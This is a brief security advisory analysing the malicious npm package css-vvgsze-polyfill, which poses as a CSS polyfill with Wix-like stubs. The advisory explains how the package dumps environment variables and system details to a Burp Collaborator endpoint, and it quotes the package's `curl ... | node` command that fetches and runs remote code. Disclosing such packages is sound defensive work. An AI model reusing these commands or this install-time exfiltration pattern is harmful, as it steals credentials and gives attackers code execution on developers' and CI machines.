css-vvgsze-polyfill@1.0.0

thunderboltRegistry.js runs an IIFE on module require that performs two attacker-benefit actions against the installer. First, it execSyncs `id`, `whoami`, `env`, and `ifconfig`/`ip addr`, then transmits the output along with hostname, platform, and pid as query parameters via fetch to a hardcoded unique-subdomain Burp Collaborator endpoint at https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The `env` dump leaks every environment variable, which in CI/build contexts routinely contains cloud credentials, registry tokens, and API keys. Second, it execSyncs `curl -L https://appsecc.com/js | node`, fetching an opaque remote JavaScript payload from an attacker-controlled host and executing it in the Node process, yielding full remote code execution on the installer host. The package presents itself as a CSS polyfill and exports Proxy no-op stubs mimicking Wix thunderbolt registry symbols (`thunderboltRegistry`, `siteAssetsRegistry`, etc.), a cover-story shape consistent with dependency-confusion or typosquat targeting of a Wix build pipeline so an infected build appears to function while the payload runs.